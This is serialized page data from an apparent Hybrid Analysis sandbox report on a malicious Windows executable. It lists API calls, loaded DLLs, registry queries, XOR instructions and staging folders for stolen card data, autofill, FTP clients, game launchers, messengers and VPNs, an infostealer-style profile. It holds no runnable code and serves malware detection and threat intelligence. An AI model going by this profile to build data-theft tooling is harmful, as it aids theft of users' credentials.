26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 60:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T463,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample d0147494ca96… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d0147494ca96…. Malware family: Malware. Threat score 100/100. 7/25 AV engines flagged this file. 17 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d0147494ca9687e1035bb977a4d3dd8381358603bcafa4adfb98b629e060bf32","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","d0147494ca9687e1035bb977a4d3dd8381358603bcafa4adfb98b629e060bf32"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","executable"],"identifier":"d0147494ca9687e1035bb977a4d3dd8381358603bcafa4adfb98b629e060bf32","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":7,"total":25},"behavioralIndicators":{"malicious":17,"suspicious":25},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T75a,"file.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008036) "file.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008036) "file.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000010f35d00b4f25d00226e7a760000c400000000002d6e7a761186e5b22d000000ecb7bd7438f35d0000008100e85f980080ab9700010000008000000078f25d0000008100fcf25d0070c87b765d0538c4feffffff2d000000d0cccc7427000000ccf25d00856a7c761c2381760cf35d00f85f7c7608000000bb697b76b2697b76a987e5b22d000000ecb7bd7427000000d0cccc74e0f25d002d000000d0cccc742700000010f35d00856a7c761c23817658f35d007e8acb74ee8ccb74738acb74fdf9c7fb2d000000ecb7bd7427000000d0cccc74fc9ac400909ac400fdf9c7fb20f35d00fc5209750cf45d00e084cb749dfb9d8efeffffff738acb74 (UID: 00000000-00008036)28:T69c,"file.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter NTDLL.dll (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter NTDLL (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter SETUPAPI.dll (UID: 00000000-00008036) "file.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008036)29:T132f,"file.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter timeGetTime (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter NtOpenThread (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00008036) "file.exe" called "GetProcAddress" with a parameter RtlAllocateHeap (UID: 00000000-00008036)2a:Tb79,"CREATE TABLE sqlite_master(" (Source: 00000000-00008036.00000000.65811.01131000.00000040.mdmp, Indicator: "create table sqlite_master(") "CREATE TABLE" (Source: 00000000-00008036.00000000.65811.01131000.00000040.mdmp, Indicator: "create table") "SELECT name, rootpage, sql FROM '%q'.%s WHERE %s" (Source: 00000000-00008036.00000000.65811.01131000.00000040.mdmp, Indicator: "select name, rootpage, sql from '%q'.%s where %s") "UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');" (Source: 00000000-00008036.00000000.65811.01131000.00000040.mdmp, Indicator: "update %q.%s set sql = sqlite_rename_table(sql, %q) tbl_name = %q name = case when type='table' then %q when name like 'sqlite_autoindex%%' and type='index' then 'sqlite_autoindex_' || %q || substr(name,%d+18) else name end where tbl_name=%q and (type='table' or type='index' or type='trigger');"), "UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q" (Source: 00000000-00008036.00000000.65811.01131000.00000040.mdmp, Indicator: "update "%w".%s set sql = substr(sql,1,%d) || ', ' || %q || substr(sql,%d) where type = 'table' and name = %q"), "UPDATE %Q.%s SET type='%s' name=%Q tbl_name=%Q rootpage=#%d sql=%Q WHERE rowid=#%d" (Source: 00000000-00008036.00000000.65811.01131000.00000040.mdmp, Indicator: "update %q.%s set type='%s' name=%q tbl_name=%q rootpage=#%d sql=%q where rowid=#%d"), "DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'" (Source: 00000000-00008036.00000000.65811.01131000.00000040.mdmp, Indicator: "delete from %q.%s where tbl_name=%q and type!='trigger'"), "DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q" (Source: 00000000-00008036.00000000.65811.01131000.00000040.mdmp, Indicator: "delete from %q.sqlite_stat1 where tbl=%q"), "INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);" (Source: 00000000-00008036.00000000.65811.01131000.00000040.mdmp, Indicator: "insert into %q.%s values('index',%q,%q,#%d,%q);"), "DELETE FROM %Q.%s WHERE name=%Q" (Source: 00000000-00008036.00000000.65811.01131000.00000040.mdmp, Indicator: "delete from %q.%s where name=%q"), "DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q" (Source: 00000000-00008036.00000000.65811.01131000.00000040.mdmp, Indicator: "delete from %q.sqlite_stat1 where idx=%q"), "SELECT name rootpage sql FROM '%q'.%s" (Source: 00000000-00008036.00000000.65811.01131000.00000040.mdmp, Indicator: "select name rootpage sql from '%q'.%s"), "UPDATE %Q.%s SET type='table' name=%Q tbl_name=%Q rootpage=0 sql=%Q WHERE rowid=#%d" (Source: 00000000-00008036.00000000.65811.01131000.00000040.mdmp, Indicator: "update %q.%s set type='table' name=%q tbl_name=%q rootpage=0 sql=%q where rowid=#%d")2b:T8da,Found reference to API (Indicator: "lstrcpy"; File: "file") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp") Found reference to API (Indicator: "WSASend"; Source: "00000000-00008036.00000000.65811.01131000.00000040.mdmp")2c:T4cc,"file.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 772e0000 "file.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 772e0000 "file.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 772e0000 "file.exe" loaded module "KERNEL32" at base 76520000 "file.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73620000 "file.exe" loaded module "USER32.DLL" at base 76820000 "file.exe" loaded module "ADVAPI32.DLL" at base 74400000 "file.exe" loaded module "NTDLL.DLL" at base 774c0000 "file.exe" loaded module "WINMM.DLL" at base 73190000 "file.exe" loaded module "NTDLL" at base 774c0000 "file.exe" loaded module "KERNEL32.DLL" at base 76520000 "file.exe" loaded module "GDI32.DLL" at base 74690000 "file.exe" loaded module "SHELL32.DLL" at base 74bb0000 "file.exe" loaded module "OLE32.DLL" at base 77050000 "file.exe" loaded module "WS2_32.DLL" at base 76a00000 "file.exe" loaded module "CRYPT32.DLL" at base 77150000 "file.exe" loaded module "SHLWAPI.DLL" at base 74b50000 "file.exe" loaded module "GDIPLUS.DLL" at base 73c20000 "file.exe" loaded module "SETUPAPI.DLL" at base 760f0000 "file.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base 765200002d:T7e1,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "FIRSTENTRY"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "LASTENTRY"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2024"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2007"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "")2e:T54b,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00008036.00000000.65811.00970000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00008036.00000000.65811.00970000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00008036.00000000.65811.00970000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00008036.00000000.65811.00970000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00008036.00000000.65811.00970000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00008036.00000000.65811.00970000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00008036.00000000.65811.00970000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00008036.00000000.65811.00970000.00000004.mdmp")2f:Tb8f,"file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\CC (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\FTP\FileZilla (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Autofill (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Downloads (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\FTP\TotalCommander (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\FTP (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\Growtopia (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\Minecraft (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\TLauncher (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\FeatherClient (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\LunarClient (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\Battle.net (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games\Steam (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Games (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Messengers\Skype (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\GoogleAccounts (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Messengers\Element (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Messengers\ICQ (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Messengers\Signal (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Files\Amazon Downloader Logs (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Messengers\Tox (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Messengers\Pidgin (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\Messengers (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\VPN\OpenVPN Connect (UID: 00000000-00001816) "file.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3MaUrIRSFkd_Fm\VPN (UID: 00000000-00001816)30:T690,file/memory contains long string with (Indicator: "Aes"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "AesCryptoServiceProvider"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "CryptoConfig"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "CryptoStream"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "HashAlgorithm"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "MD5CryptoServiceProvider"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "Rijndael"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "RijndaelManaged"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "RSACryptoServiceProvider"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "SymmetricAlgorithm"; File: "xpu69xf0pKXo454_p7ah.exe") Found reference to "MSCF2Wqh disallowedcert.stl|f~3"{-UAV>F :n;lpd`() hvnf|T#&6%&WSHS9*}9yZ@F+/vU|Usr #k#NK-c0ROmX6VG55:x"3`CM:k^nLuSvMxfx4qM?{i%CVl\tP-`}v?@s)?hRQ>jB@H4-" (Indicator: "Oid"; File: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157") Found reference to "CryptCNGInitHMAC" (Indicator: "HMAC"; Source: "00000000-00001816.00000000.66025.002E0000.00000004.mdmp, 00000000-00001816.00000001.67055.002E0000.00000004.mdmp") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00001816.00000001.67055.002E0000.00000004.mdmp")31:T442,Found PE header "MZ" - Source: "00000000-00001816.00000000.66025.043C0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00002052.00000001.70307.042E0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00002052.00000002.71434.04E3F000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00002884.00000001.73628.04210000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003372.00000001.72966.0170A000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003372.00000001.72966.02BE0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004036.00000002.74426.03640000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00004272.00000001.75317.00930000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004272.00000002.75566.00930000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004984.00000000.75102.0181A000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00004984.00000001.75592.029F0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00005232.00000000.75897.006D2000.00000040.mdmp")32:T1837,Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00004036-29403-8-00070A8C Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00004036-29403-8-00070A8C Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00004036-29403-8-00070A8C Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00004036-29403-8-00070A8C Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00004036-29403-8-00070A8C Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00004036-29403-39-00082FD7 Assembly shows XOR instruction xor edi edx in Stream UID: 00000000-00004036-29403-39-00082FD7 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004036-29403-38-00083264 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004036-29403-38-00083264 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004036-29403-44-0008320E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004036-29403-44-0008320E Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00003264-45320-984-010EFD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003264-45320-984-010EFD50 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00003264-45320-984-010EFD50 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00003264-45320-984-010EFD50 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00003264-45320-984-010EFD50 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00003264-45320-984-010EFD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003264-45320-964-0110883B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003264-45320-964-0110883B Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002272-4999-38-01293264 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002272-4999-38-01293264 Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00002272-4999-39-01292FD7 Assembly shows XOR instruction xor edi edx in Stream UID: 00000000-00002272-4999-39-01292FD7 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002272-4999-44-0129320E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002272-4999-44-0129320E Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00002272-4999-8-01280A8C Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00002272-4999-8-01280A8C Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00002272-4999-8-01280A8C Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00002272-4999-8-01280A8C Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00002272-4999-8-01280A8C Assembly shows XOR instruction xor byte ptr [ebp+ecx-14h] al in Stream UID: 00000000-00002884-25976-3292-0032F7C0 Assembly shows XOR instruction xor byte ptr [ebp+ecx-00000088h] al in Stream UID: 00000000-00002884-25976-3019-002DF480 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004272-51084-2086-003A18E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004272-51084-2086-003A18E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004272-51084-2933-0039FCCB Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004272-51084-2933-0039FCCB Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004272-51084-1957-00367D40 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004272-51084-1957-00367D40 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004272-51084-1958-003672F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004272-51084-1958-003672F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004272-51084-2203-0036EF00 